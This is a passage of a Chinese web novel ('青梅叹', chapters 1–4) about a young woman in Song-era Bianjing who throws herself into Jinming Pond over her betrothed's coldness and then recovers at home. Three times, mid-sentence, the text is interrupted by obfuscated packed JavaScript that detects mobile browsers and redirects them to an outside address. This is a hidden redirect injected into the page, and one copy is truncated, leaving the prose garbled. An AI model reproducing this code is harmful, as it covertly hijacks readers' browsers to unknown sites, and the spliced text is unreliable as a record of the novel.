《青梅叹》 1. 第1章 阳春三月,金明池畔春花绽,满城枝红柳绿,蜂蝶交缠飞舞,春息渐浓。 打眼望去,相熟的世家贵女挽手并进,眉眼含笑,迎着春色像是古画里走出的仕女,遥看池畔另一侧又有携妻子出游的神仙眷侣。 轻灵的嬉笑声盘旋在付清秋耳畔,金明池热闹,只她一人愣地站在池边,出神地盯着澄澈透白的金明池水。 碧空晴日,春莺踏柳,行人纷至沓来,一抹绿影从锦绣衣堆中窜了出来。 “姑娘,方才盛娘子来寻你,这会就在那边等这您呢。”云露稍喘口气,望向身后不远处的八角亭。 官家恩典,三月里金明池对百姓开放,是最热闹的时候,今日人多,她险些迷路。 付家从杭州搬来汴京已有七年,付清秋如今将笄之年,初来汴京时与贵女们不甚相熟,好在付清秋母亲常带她出门赴宴,这几年也渐渐在汴京闺秀里冒头。 至少提及付二娘子,会有个乖顺的好名声。 此刻付清秋背对着云露,一双杏眼噙着泪,她手心紧攥绣帕,往池边走了一步,哑着声道:“你替我去回盛姐姐,我今日身子不适,待会便回去了,就不与她们一道赏花了。” “姑娘,池边风大。”云露心下疑惑,听着声似有些不对,又怕当搁回话,只好应道,“姑娘当心些,我且去回话。” 付清秋垂首不作回应,等云露走远后才回头去望了一眼,视线流转之际正巧撞上一双温婉含情的眼眸。 那人她曾在雅集诗会见过,是中书侍郎贺清的妻子——尹惜。 初来汴京时,付清秋便知京中有位才女,如今她到了尹惜才满汴京的年纪,却腹中无墨,毫无才情。 付清秋眸光忽黯,她知道尹惜才华出众,逼近前辈,饶是她嫁给贺清,仍旧是汴京不可多得词人,这样的好才情,要是她也有就好了。 是不是多读点诗像姐姐那样就能让师无涯多回头看看她,付清秋心底一酸,只恨自己没那才学,这么些年,在汴京也只有个乖顺的名声。 试问汴京那个闺秀不乖顺,也就是瞧着他父亲的面子,这样捧着她。 尹惜觉察到付清秋的一扫而过的视线,抬眸朝她看去,这一看吓坏了尹惜,手心生出冷汗,紧紧捏住贺清的手腕,惊呼一声。 “跳河了!” 付清秋决绝转身,闷着一口气跳进金明池。 闻声,贺清即刻回过神来,忙命人去捞。 此时晴光正好,春色宜人,忽地一声,金明池边溅起数尺高的水花。 尹惜快步上前,走到方才付清秋站的地方,暗想这是谁家的姑娘,怎么好端端地就跳了下去。 这一动静引得不少人站在池边观望,世家贵女身着绫罗绸缎,头簪珍珠金钗,纷纷挑眉望去,誓要看清是谁家的娘子跳了下去。 “谁啊?” “是不小心的?还是故意寻死?” “当真是晦气,怎么偏生是今日。” 尹惜眉心一拧,让人疏散说嘴的妇人娘子。 “姑娘!姑娘!” 匆匆赶来的云露被尹惜的人拦在了一边,见她泪如雨下,一个劲地要往里钻,尹惜示意仆从放她过来。 “你家姑娘,是何许人也。”尹惜问道。 “吏部尚书付......”云露不敢直呼主人名讳。 恰在此时,贺清过来了,只听云露的前半段便知是谁了。 贺清俯身在尹惜耳边低声道:“吏部尚书付大人的女儿,付尚书此刻恐在官家身边。” 尹惜了然,微微颔首,温声向云露说:“已派人去捞了,你也莫急,且等会。” 池中付清秋不停地往下坠,强烈恐怖的压迫感袭来,全身沁在春水里,冰冷的池水直往肺腑里灌,覆没耳鼻口眼。 那池水生冷,付清秋暗想水虽冷,却没有师无涯说的话做的事冷。 思及此,那些压迫感好像淡了许多,哀莫大于心死,死了就没人知道她喜欢了师无涯十二年,她也再不会为他伤心断肠。 付清秋睫羽颤抖紧闭着眼,再憋不住一口气,松了口任由池水将她吞没,意识逐渐消沉,朦胧之际,她好像又见到了师无涯,他就在站在远处不屑地看她。 付清秋委屈得想哭,泪水和池水混在一起,她挣扎着想要看清,然而泪光中她看到了从前在杭州小院里的温馨时光。 那会师无涯明明是会对着她笑的,为什么到汴京就变了。 明明是她和他有婚约,为什么师无涯反悔了,为什么...... 思绪和身体同时下坠,沉重压抑的窒息感漫开,心肺窒息,本能地求生欲望促使她在拼命扑腾挣扎,但为时已晚,付清秋半阖着眼,看着一道白光离她越来越远。 好像有人,逆着白光往下游,搅开了一池涟漪。 ...... 付宅。 枝头杏花迎风飘摇,白墙青瓦,午后春雨如针。 “快些!平日里懒散惯了,二姑娘有什么闪失,你们都去吃板子!”屋外,李妈妈厉声道。 李妈妈急得晕头转向,一面要去厨房看水,一面又怕屋里的炭火不够,来来回回跑了好几趟。 偏生这日微雨蒙蒙,小径路滑,院子里女使散漫,个个都不尽心。 云露小心伺候在一旁,回想起金明池的那一幕就叫人害怕,贺清带人捞了许久才带着付清秋出水,她整个人憔悴病白,发髻散乱,衣裳尽湿。 春日里最怕倒春寒,也不知道是掉到多深才捞起来的。 尹惜却很是细心,没让别人瞧见付清秋这般落魄的模样,只要他夫妻二人不说,就不会有人知晓那日掉到金明池的人是付清秋。 屋内的木炭一直烧着,青釉莲花香炉里燃着苏合香,室内暖和干燥,和外头绵绵细雨是两幅光景。 请来为她看病的大夫只说呛了些水,这几日须得小心看护,别再惹了风寒就是。 韦氏得知此事,发了好大一通火,扣云露的两个月的工钱,云露心里委屈也没地儿说,当日究竟如何,她又怎么说得清。 韦氏虽罚了她,却架不住付清秋性子拧,要是韦氏打了她,待到付清秋醒来,怕是要在她面前闹上好几日,看在付清秋的面上,韦氏不再追究。 “这几日好生看着清秋,再不要叫她出门。”韦氏在屋外训话。 韦氏眸光忽沉,似是想到什么,问:“付清岁呢?”她记得今日付清岁和付清秋是一同出门的,怎么到这时都不见付清岁露面。 闻声,云露从屋内出来小心回话,“大姑娘与人相约对诗,这会估摸着还未结束,姑娘是知道的,这才和大姑娘分开了。” 韦氏心有不满,付清岁是妾室生的,那妾室死得早,将她一并养在身边,付清岁比付清秋年长两岁,女红诗文她都出挑,这些年生养得比付清秋更像是个娴淑的嫡女。 到底是别人肚子里出来的,养在身边,叫她越瞧越烦。 韦氏不喜付清岁,却也不曾苛待她,只是花的心思少了些。 思及此,韦氏愈发心烦,付清岁她不怎么管反倒养的端正秀气,可亲生的娇娇女儿,怎么就笨得发愣,韦氏狠狠叹了口气。 “清秋醒了便叫我,这事儿便不要告诉官人。”韦氏揉了揉眉心。 这日夜里付清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191523|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋起了高热,绿柳和云露忙前忙后地熬药,直到大半夜才停歇。 守到半夜绿柳掐了灯烛,坐在床边沉沉睡了过去。 春雨潇潇,窗外青梅树摇曳,幽幽冷雨添一分寒气。 迷蒙之间付清秋做了一个梦,梦里她和师无涯回到杭州,仲夏时节,杭州小院里的青梅树枝繁叶茂,她倚靠着师无涯,听他念着《长干行》。 “郎骑竹马来,绕床弄青梅,同居长干里,两小无嫌猜......” 那时师无涯让她靠,任由她胡来。 可如今他却看她一眼都嫌烦,付清秋从师无涯的眼中看到了厌倦,憎恶,那样的眼神如同冷冽刀锋,一刀刀剜心蚀骨。 榻上的付清秋悄然落泪。 翌日一早,云露去请大夫,听到昨夜付清秋已然发过高热后松了口气,道:“如今只待姑娘醒来便好,只是切莫染了风寒。” 云露差人送走大夫,再回屋时,付清秋幽幽转醒,云露见此忙命人去请韦氏。 韦氏昨夜因付清秋落水的事睡得不安稳,听到人醒了,一路疾走至杏院。 付清秋初醒,神思混沌,却还不忘抬手擦泪,怕被人看出端倪,又叫云露为她净面。 韦氏进屋,眼中喜忧参半,千言万语凝在喉头,见着付清秋活生生的样子,眼眶一红泪意朦朦。 昨日她忍着,今日见她这副病怏怏的模样心疼得紧,忙问,“究竟是怎么回事?怎得掉到池子里了,你晓得我怀你时夜不能寐,心里盼着你早早出世。” “昨儿个,你要是有个好歹,我也不活了。”韦氏捶胸顿足,她当年怀付清秋上了年纪,大夫见状纷纷劝其落胎。 韦氏心有不忍,念着是个孩子,一狠心生了下来,见是一个闺女喜不自胜,从小至大,什么都先紧着付清秋,唯恐她伤心。 闻言,付清秋不知该如何说金明池的事,那会谁也没看见,是不是自己跳下去的,无人作证。 望着韦氏涕泪纵横,忧心忡忡的模样,付清秋心内悔恨不已,思索片刻后决心撒个谎,不叫母亲担心,也不让云露受罚。 “阿娘,昨日我瞧着池子里的鱼儿游得欢,上前去瞧,一不留神便滑了下去。”付清秋声音暗哑怯懦,她不敢太大声,怕这笨拙的谎言被看穿。 韦氏知她是个好奇的性子,加之这会她心里难过,只道,“吓坏我了,可好些了,身子可还有不适?” 付清秋被韦氏抱进怀里,温暖厚重的胸脯,让她确切的感受着生命鲜活的气息,她若真的死了,便是对不起父母的生养之恩。 付清秋眼中含泪,猫儿似地往韦氏怀里蹭。 听她说话为难,韦氏抬手让人去煮梨汤,自己则留下来宽慰她,“清秋,往后去哪都得小心些,可别像今日这般了。” 哄了好一会,韦氏才离开让她好生休息。 待她走后,付清秋慢慢接过梨汤,哑声问云露:“无涯哥哥来过吗?” 云露站在门前,摇了摇头,“除夫人外,便没人再来了。” 付清秋手上一抖,被梨汤呛红了脸,心里酸涩异常,她出了这么大的事,外人不晓得,难道师无涯和姐姐也不晓得吗? 此刻她忽然想起前几日师无涯和付清岁出门逛夜市的画面,分明是她先去约的师无涯,可最后师无涯一言不合的和付清岁出门去了。 他若是骗她生病了也好,回绝了也好,可为何要不作回应的和付清岁出门,还叫她撞见了。 付清秋睫羽轻颤,一圈圈搅着梨汤,心思飘远,一口也喝不下了。 正想着,云露在廊下忽地扬声,“姑娘,大姑娘和师郎君来了。” 2. 第2章 付清秋惶然抬眸,支起身子,绿柳见状上前接过她手上梨汤,云露引着付清岁和师无涯进来。 “可好些了?”付清岁与师无涯一并进屋,见付清秋脸色冷白,双眸涣散,似乎还在后怕。 付清岁柳眉微蹙,暗道要不是她没能陪在她身边,也不至于发生这样的事。 思及此,她心里愧疚起来,歉声道:“是我的不对,金明池人那么多,不该留你一个人。” 付清秋眸光微颤,痴痴望向师无涯,见他一袭玄色云纹圆领长袍,玉冠绾发,这几年他愈发丰神俊逸,看他如此,付清秋眼中蓦然失落,心里暗自和付清岁较劲。 付清岁见她不开口,眉心深蹙,又问:“清秋,是怎么了?为何不说话?” 付清秋的目光不加掩饰地落在师无涯身上,付清岁这才明白付清秋的心思,她自小便是如此,喜怒永远摆在明面,喜欢谁讨厌谁,单看她的眼神便知道了。 师无涯此刻正垂眼看她,眸光中倒映着一张病白稚嫩的脸,但她杏眼盈盈,眉目可怜,不由得让人心生怜惜。 只可惜这对他无用。 付清秋仰头,满含希冀的目光,直勾勾地盯着他,她就是如此直白地想师无涯说些什么,哪怕是问她为何会掉进金明池,为何会不肯开口说话。 房内炭火烧得正旺,合香缭绕,闷得人心口发慌,付清岁低眉不语,付清秋想要师无涯说话,那她就是唇舌说烂,付清秋也不会搭理她。 云露和绿柳侍立在珠帘后,眼瞧着这屋里越来越沉寂的氛围,两人心里各自捏了把汗。 一屋子人任谁都知道,此刻师无涯须得说些什么,好让付清秋心里好受些。 付家老来得女,人人都如珠似宝的疼着,就是府里洒扫的女使婆子见了她都晓得问好,指不定那日小主子心情好就得了赏。 云露不动声色地瞟了眼师无涯,她还没见过像师无涯这样心高气傲的,若是主子也就罢了,可他分明是寄人篱下,吃着付家的粮还一副贵公子做派。 静了好半晌,师无涯唇齿微动,有了要开口的意思,付清秋眸光忽闪,仍如方才那般地望着他。 从前她磕破点皮,师无涯都要逮着她说个半日,如今只要他肯开口问问她,那是不是就意味着还是能回到从前。 恰此时,付清岁小声喊了句,“三哥。” 师无涯不以为意,只道一句:“清岁,付二姑娘福大命大,瞧着并无大碍。” 话落,付清秋黯然垂首,心头欢喜一扫而空,师无涯的话只是将落水一事草草揭过,她究竟如何,仿佛在他的心里并不重要。 是......回不到从前了吗? 付清秋鼻尖一酸,登时甩开付清岁的手,径直窝到被里缩成一团。 “三哥!” 付清岁见罢,小声嗔道:“清秋吓得不轻,怎能这般说她,惹得清秋又生气了。” 师无涯不以为意地转身往外走,长袍带起一阵急风,搅散浮沉的合香。 再三犹豫之下,付清岁慢步跟上师无涯,人一走,屋子里一下就冷了起来。 珠帘碰撞声格外刺耳,付清秋攥紧锦被,捏着被角擦泪,无声地抽噎,屋里有云露和绿柳在,她不肯被人瞧见这副模样。 云露此时去关窗,气恼道:“师郎君未免太傲了些,这些年住在付家——” 闻声,绿柳赶忙上前捂住云露的嘴,做了个噤声的手势,“快别说了,姑娘睡着呢。” 云露这才收声,两人关了门往外去。 天色迷蒙,因斜风细雨,廊下漫上水渍,院里杏花摇摇欲坠。 “云露,你不知从前师郎君身份,心里自然瞧不上他,可当初在杭州时,人人都说是姑娘高攀了师郎君。”绿柳情切得拉过云露的手,躲在廊下悄声说话。 “师郎君在杭州是何身份?”云露挑眉,疑道。 她服侍付清秋刚好七年,杭州那些事她一点都不晓得,院里从杭州来的女使婆子对师无涯的事闭口不谈,实在让人好奇。 除了师无涯和付清秋有婚约这点,云露隐约有感外,别的事一概不知,更何况付家下人也从未提过此事。 仿佛无人知晓,若不是付清秋的只言片语,云露倒还不晓得这桩事,只当师无涯是打秋风来的。 今日绿柳提及杭州那些事,她心里直痒痒,付清秋身边虽然只有她和绿柳,可她始终是后来的,云露暗想她和绿柳的差别也就在那杭州的七年了。 绿柳回头朝房里看了眼,牵着云露往院外走:“师郎君的父亲原是杭州通判。” 不待绿柳说完,云露急急地接过话头。 “那他为何还要住在这儿,哪有这样的道理,竟要姑娘养着他。” 绿柳惋叹一声:“师郎君父亲在他五岁时便去了,师郎君原有两个哥哥,却也因病去世,一家子人只剩下了师郎君。” 那时付家在杭州不过是个县尉,机缘巧合之下,师无涯的父亲救了付彰,自那之后二人有了过命的交情。 师家夫人早逝,后又丧子,只剩下师家父子,付彰义薄云天,胸膛一拍就与师家定下了这门亲事,交出了付家祖传的青玉镯。 云露思忖道:“如此说来,那师郎君六岁便来了付家?” 绿柳道:“我与你说这些,是为让你知道,姑娘与师郎君青梅竹马,纵使师郎君千般万般不好,都得姑娘说了算。” 云露恍然大悟,反握住绿柳的手,懊恼道:“绿柳姐姐,我真是糊涂了,只一心为着姑娘想去了。” 二人在外头悄声密语,付清秋则在屋里从清晨躺到日暮,这期间绿柳和云露轮流换了炭火,不论是那一次进去,都只见她一动不动地侧躺。 直到酉时三刻,暮色飞霞,付清秋昏昏沉沉地睁眼,为争这口气,她就这样当了一下午的乌龟,当到一半径直睡了过去。 付清秋长舒一口气,揉了揉肩,翻身躺平,露出半个头来。 她望着床榻上的天青色云山帷裳痴痴地想倘若醒了还是会难过,为什么一觉不能睡到天荒地老。 窗外雨停,房里燃着合香,夹杂着清清浅浅的橘香,这香是付清岁调制的,中和了香甜的气息,多了一分青涩,恰到好处的清甜。 “清秋,听女使说你不曾用饭,这会可醒了?”付清岁提着食盒,轻敲房门。 绿柳云露没拦她,毕竟付清岁来了好几趟,这回实在是不好再拦。 屋里付清秋掀开锦被,揉着肚子起身,她饿了。 “大姐姐。” 付清秋提不起精气神,恹恹地说,“大姐姐进来坐。” 付清岁轻声道:“我要和清秋说些话,你们退下罢。” 云露绿柳闻声退了出去。 付清岁取出点心果子,一碟又一碟的糕点酥饼,晾干的桃花果子,樱桃煎。 付清秋眼巴巴地看着她摆好,馋得不行,“大姐姐,你专程为我去买的?” 果子香甜,酥饼薄脆,也是她想吃的,付清秋不作他想,尝了口酥饼,付清岁坐在一旁看她吃。 见她吃得高兴,付清岁缓缓道:“你为了三哥生气,竟是饭也忘了吃,连我也不理了?” 闻言,付清秋喉头一哽,呛红了脸,付清岁有条不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191524|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紊地倒了杯茶。 付清秋忙不迭地接过,咕嘟咕嘟地灌水,嗡声说:“大姐姐,我没有不理你。” “好,你慢些吃。”付清岁含笑道,“三哥说的那些话你不要放在心上,你知道的三哥自小就这样。” 话落,付清秋放下糕点顿时没了胃口,付清岁为她送糕点,难道就是为了这事? 前几日,付清秋在回廊下无意中听见师无涯对着付清岁郑重发誓,“我此生决不娶付清秋,她骄矜愚笨不配为妻。” 师无涯为了付清岁许下重誓,而付清岁也可以为了师无涯出面赔礼道歉,两人好似天造地设的一对,为彼此可以低眉顺承。 可她才是师无涯的未婚妻。 白瓷碟里的乌梅圆溜溜的,付清秋拈了一颗梅子含在嘴里,霎时口内酸甜交织。 “大姐姐,我想听无涯哥哥亲口和我说这些,而不是你来替他说话。”付清秋吞下乌梅,百无聊赖地望向院外零落的青梅树。 万物生发的季节,这棵青梅树只几枝嫩芽颤颤巍巍。 付清秋出神的想这风会不会是从杭州吹来的,杭州的宅子里的青梅树是不是也发芽了。 春风袭来,摇落满地杏花。 只要师无涯一日没当着她的面说退婚,她便不会放手,哪怕他心里不喜欢自己,只要有一纸婚书在,他就一直是她的未婚妻。 付清岁凝眉,温声道:“清秋,三哥羞于启齿,便不要叫他为难了。” 她既这样说,付清秋也不再绕弯子,直言道:“大姐姐,我喜欢无涯哥哥,你是知道的,人人都知道,将来我会是他的妻子,只是现在无涯哥哥还没明白。” “大姐姐,你可不可以离无涯哥哥远一些。” 言罢,付清秋赤忱灼热地目光几乎要将她盯穿,付清岁微怔,纤纤玉指不自觉地绞紧了帕子。 付清岁慢慢吐出一个字,“好。” “大姐姐最好了!”付清秋登时站起来环抱她,眉开眼笑,“大姐姐,最疼我了。” 付清岁抹开笑,眼底却无任何喜色。 “清秋,你好生歇着,夜里风凉,便不要出门了。”付清岁叮嘱着,一面收好食盒。 等到付清岁离开,付清秋唤绿柳更衣,她要去见师无涯,因付清岁答应她,她心里高兴,一时将以往的事都忘了。 她想总有一天,师无涯会打心底里喜欢她的。 这只是时间问题。 “绿柳,你还记得杭州院里的青梅树吗?”付清秋便走边道,“那棵青梅树上有无涯哥哥为我打的秋千,无涯哥哥心里是会喜欢我的......罢。” 绿柳顺着她的话说下去,“记得的,师郎君忙前忙后的就为打好秋千,被人瞧见爬到树上摔了好几次。” 这话不是哄她的,而是师无涯确实为此花了不少心思。 付清秋眉花眼笑,眸光盈盈似水,不过片刻又垂首小声喃喃,“要是能回到杭州就好了。” 绿柳道:“姑娘,杭州的日子哪有汴京好。” 付清秋垂目若有所思,道:“这不一样的。” 绿柳悄然噤声,两人过付清岁的院子时,正巧遇上师无涯快步而来,他身着月白色劲装,靛蓝色发带高高束起,又因走得急衣袍带风,额前碎发飘然。 廊下相遇,付清秋手心摩着绣帕,慌张站定,她身穿浅青窄袖衫,下着碧色牡丹缠枝百褶裙,外罩碧纱长衫,因出门急的缘故不着脂粉,发髻简单,乍一看犹如春日嫩芽,只是面色病白。 师无涯剑眉紧蹙,猝然停下步子,漠然垂眸,将她的眉眼心思看在眼里。 3. 第3章 前几日落过几场春雨,此刻明月高悬,清辉满地,庭中青松摇曳。 付清秋比小师无涯三岁,每每说话之时,付清秋都会仰头看他,而她最想看到的是师无涯眼底变化的情绪,只要他眼中有一丝松动,就足以令她欢喜。 晚风来急,恰此时月光照进长廊,付清秋眼波流转,眸带笑意,“无涯哥哥,我想去找你的。” 师无涯漫不经心地挑眉,懒懒道:“付二姑娘,你的病好的真快。” 白日里分明还是病怏怏的模样,转眼到了夜里又活蹦乱跳了。 师无涯不动声色地往旁边挪了一步,双手环抱,半倚着廊柱,他就这样垂眸看着付清秋,看她能说出些什么花儿来。 月光清辉如薄纱斜照他的侧脸,右眼下一颗红痣若隐若现,端足了世家公子纨绔浪荡的姿态。 付清秋见他如此,上前一步凑近到他面前,借着薄薄的月光仰目看他,只是这样看着他,付清秋心里便乐开了花,往日里师无涯说的那些话,她竟全都忘了。 他好看,生得俊朗,高鼻深目,眸灿星辰,眉眼间透着一丝散漫的气息,眼尾下一点红痣,更添恣意之态。 朗月清风,庭中松叶簌簌,借满地银辉可观两小人在廊下交谈。 付清秋不理师无涯方才的话,只欢喜着说:“无涯哥哥,我今日看到院里的青梅树了,可以再为我打一个秋千吗?” 其实只要师无涯在她身边,无论是哪,她都愿意留下,就算回不了杭州,那也没关系。 师无涯扶了扶额,看向她的眼神晦暗不明,愣了片刻后,他不紧不慢地道:“付二姑娘,不可以。” “为什么?以前可以,为什么现在不可以?”付清秋被浇了一盆冷水,又怕惹他不高兴,轻声说。 “那,也没关系,无涯哥哥不打秋千也没关系的,我只是有些想回杭州了。” 说这话时,付清秋眸中闪过泪花,寂寂春夜里她的眼泪如莹亮珍珠落下。 师无涯只觉烦躁,旋即别开眼,轻拧眉心。 “不可以就是不可以,从前是从前,如今你还看不明白吗?”师无涯冷声道,“付二姑娘,不是全天下的人都要围着你转。” 付清秋听他这般数落,忍不住满腹委屈,眼泪如断线的珠子哗哗落下,一边抹泪一边想该如何说话。 “无涯哥哥,我不是这个意思,我只是想这儿能更像杭州的家。”付清秋语不成调,哭腔惹人心疼。 “汴京是汴京,杭州是杭州。”师无涯身子后仰,没去看付清秋,只道,“付二姑娘,你如今也不小了,别成日念着过去。” “我想回到杭州是因为——”付清秋哽咽,泪眼迷蒙,吐露心声,“因为,我们那个时候很,很,好。” 廊下清风吹过,月光清幽,两人衣裳单薄,被风带起翩翩衣袍。 她呜咽抽泣的声音像是个小姑娘,固执又可怜。 师无涯正欲说她,但转念一想,付清秋本来也是个未及笄的小姑娘,何须又说这话,倒不如让她哭。 师无涯俯下身,凑到她面前,四目相对之时,付清秋微怔,她看到师无涯眼底似乎有些心疼的意味,还不等她高兴,师无涯蓦然开口打断她的思绪。 “今时不同往日。”师无涯淡声问,“你在执着些什么?你当真这样喜欢我?” “我喜欢,喜欢了十二年!”付清秋一股脑地说了出来,她想让师无涯清楚的知道她喜欢他,也期盼着他能与她多说些话。 哪怕只说有点点喜欢她,她心里受过的委屈便能消解大半。 师无涯没理她的话,付清秋看着他从身边走过,带起一阵凉风,冷彻心扉。 付清秋后知后觉,转身道:“只要婚约在一日,我就不会放手,我就一直是,你的,未婚妻。” 月梢枝头,冷月将两人的身影拉得很长,师无涯并未停步,唇角轻扬,眼梢红痣轻移。 待师无涯离开,绿柳才出声宽慰道:“姑娘莫哭了,师郎君兴许还未发觉姑娘的好,待到日子久了就好了。” 日子久了? 付清秋声哑,反问道:“十二年还不够久吗,还是他觉得,我不好,我是不是太笨了。” 绿柳自小跟着付清秋,从杭州到汴京的起居一直都是她在照料,后来府内买了女使,派云露过来熟悉汴京这块的事儿。 付清秋若要出门,常带着云露,偶尔宅里无事,她才和付清秋一道出门,因而她对付清秋的心事最是了解,时常劝慰。 “姑娘,师郎君如今年青,只怕拎不清轻重缓急,只要婚约在,将来姑娘与师郎君喜结连理,感情总会慢慢有的。”绿柳安抚着她的情绪。 付清秋是家中幼女,受挫极少,出生时便人人捧着,即使在杭州时,吃穿用度也是顶好的。 绿柳知她唯一的心事就是师无涯,但往日在杭州,师无涯对付清秋也并非这般冷漠,倒是来汴京才变了。 “姑娘先回去,夜里风凉。”绿柳上前扶她,“再过半月就是姑娘你十五岁的生辰了,到那时夫人定然会做主的。” 这门亲事早就定下,师无涯不能说毁就毁,更何况他在付家借住十二年,就算不喜欢她,也绝不能由他生出退婚的念头。 思及此,付清秋心里又燃起希望的火苗。 可至夜深人静时,付清秋躺在床上辗转难眠,师无涯说的那些话一直萦绕在她耳边,一字一句,她都记得。 次日一早,绿柳云露进屋见她还在睡,只好退了下去。 午时用饭之际,付清秋方才醒来,绿柳候在门外,听着里头的有动静。 “姑娘,夫人遣李妈妈来问你这会好些了没,命厨房做了好些你爱吃的,等着您过去。”绿柳轻声说话。 付清秋揉眼,打了个哈欠,还没睡醒,但听绿柳这话,她须得去一趟。 “大哥哥和二哥哥知道我落水这件事吗?”付清秋起身坐到镜前,随后唤绿柳进屋。 绿柳为她梳洗,拿起银篦子,回道:“夫人将这事瞒了下来,怕大郎君和二郎君担心,再者说二位郎君如今抽不开身,正为殿试做准备呢。” “那今日大哥哥和二哥哥也回来一起吃吗?”付清秋问道。 绿柳思忖道:“瞧着李妈妈高兴的模样,估摸着是大朗君和二郎君回来了,既然是这样,师郎君和大姑娘应当也在。” “无涯哥哥也在?”付清秋眼眸一亮,瞬时有了气色。 春光恰好,浮光碎金一跃而起。 付清秋带着云露和绿柳穿过叶影斑驳的回廊,转过回廊时,眼前赫然出现一道板正的宝蓝色身影,腰佩白玉,身姿如竹。 “大哥哥!” 付清秋扬声喊道,提裙快步跟上他。 闻声,付远衡顿步,回过头看来人,一袭桃红衣裳,披帛挽肩,动若脱兔。 “清秋,瘦了。”付远衡打量了一圈,笑问,“近来可好?” 前些日子他和付高越准备会试,考完后便又一头扎进书堆,会试过后的殿试弄得人心神不宁,虽说现在还未放榜,估摸着也快了。 付清秋仔细瞅了瞅付远衡,打量着自己,又看了看他,“我瘦了?大哥哥你胡说,我瞧着大哥哥才瘦了,考得如何?二哥哥呢?” “高越闷在屋里呢,想来此次没能考好。”付远衡悄声道,“待会便不要提这件事,知道吗,高越心里不舒服,你不问,便不会有人问。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191525|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 付清秋点点头,付远衡叮嘱了她,她自然不会再问,转头说起了别的。 “爹爹不回来吗?” 付远衡笑道:“父亲近来忙着呢,你生辰要到了,可有什么想要的?” 三月十五就是她十五岁的生辰,付远衡还不知殿试是在何时,若是撞上了,恐怕来不及为她过生辰。 付清秋眸光忽沉,说起想要的东西,她心里倒只有师无涯,盼着能早些嫁给师无涯,这就是她唯一想要的。 “大哥哥,我有,但你说了不算,这事儿得爹爹和阿娘说了算。”付清秋垂首低声言语,面上羞怯。 “你想嫁人了?”付远衡只一眼便看出她的心事,因问,“汴京好儿郎这样多,你看上谁家的郎君了?叫人替你说媒去。” 付远衡啧声,转过头盯着她,“清秋,你如今才多大,就这么急着嫁人了?做哥哥的都还没娶妻呢。” “大哥哥,我和无涯哥哥自小有婚约,怎么会看上别人?”付清秋凝眉,心下疑惑。 “师无涯,恐怕不是良配。”付远衡眼神暗了暗,他竟将这桩事忘了。 师无涯虽说在付家长大,知根知底,可师家早已落败,况且这次科考他也未参加,难不成想吃他们付家一辈子,这未免太过窝囊。 “我和他有婚约了!再说父亲将他接到付家不就是因为这件事儿吗,我不管,我心里就是喜欢他,再过两年我就嫁给他。”付清秋衣诀翻飞,快步往前走,将他甩在身后。 付远衡愣在原地,暗自叹气。 最先到正房的是付清秋,韦氏见她来了,忙让李妈妈去拿元丰楼新出的糕点。 “清秋,好些没,这几日远衡和高越回来了,家里正热闹,再过几日就是你十五岁生辰,自然是要大办一场。”韦氏拉着她的手,“若是远衡能一举夺魁,那更是喜上加喜。” 韦氏笑道:“将来远衡和你的婚事也更好说。” 不等付清秋疑惑,外头付清岁和师无涯一道进屋,紧接着是付高越和付远衡,见人来齐了,李妈妈吩咐人摆饭。 “再过几日便是清秋的十五岁的生辰,清岁你的生辰便和清秋的一道过了罢,也不差那么一两日。”韦氏淡声道。 付清岁垂首不语,付清秋抬眸看她,转头对韦氏道:“阿娘,大姐姐的生辰比我早好几日,先办大姐姐十七岁生辰的。” 付远衡道:“母亲,清秋说得在理,并非是这一两日的问题。” “你说是吧,高越。”付远衡递了眼神给付高越,见他不理,付远衡桌下踢了他一脚,才闷闷地嗯了声。 韦氏搁下筷子,见着付清岁一副委屈巴巴的模样,心里气不打一处来,怎么看都像是她做了个恶人。 “罢了,先将你的生辰办了,再办清秋的,你也到了议亲的年纪了。”韦氏没了用饭的心思,暗道是得先将她的婚事看好,再为付清秋做打算。 师无涯侧目看付清岁,付清秋自然是将师无涯细微的小动作收在眼底。 饭后韦氏留下付远衡和付高越,付清秋正欲上前去和师无涯说话,却见他一个箭步凑到付清岁身边。 付清岁走在最前面,师无涯跟着付清岁,付清秋跟着师无涯,她倒要听听师无涯会和付清岁说些什么话。 付清秋放慢步子,小心翼翼地跟着,在自个儿家里如同做贼。 穿过月洞门时,付清秋低着头,一不留神撞上了什么,捂着脑袋叫疼。 院里海棠花枝桠摇曳,清风吹来,花影重叠,付清秋茫然抬眼,见到眼前人墨色窄袖长衫,心下陡然一惊。 “付二姑娘,要跟多久?” 师无涯转过身,拦在她面前,不耐烦地打量着她。 4. 第4章 “无涯哥哥,我是顺路去找姐姐,你跟着姐姐做什么?”付清秋无辜地眨着眼,反问他到这儿来是做什么。 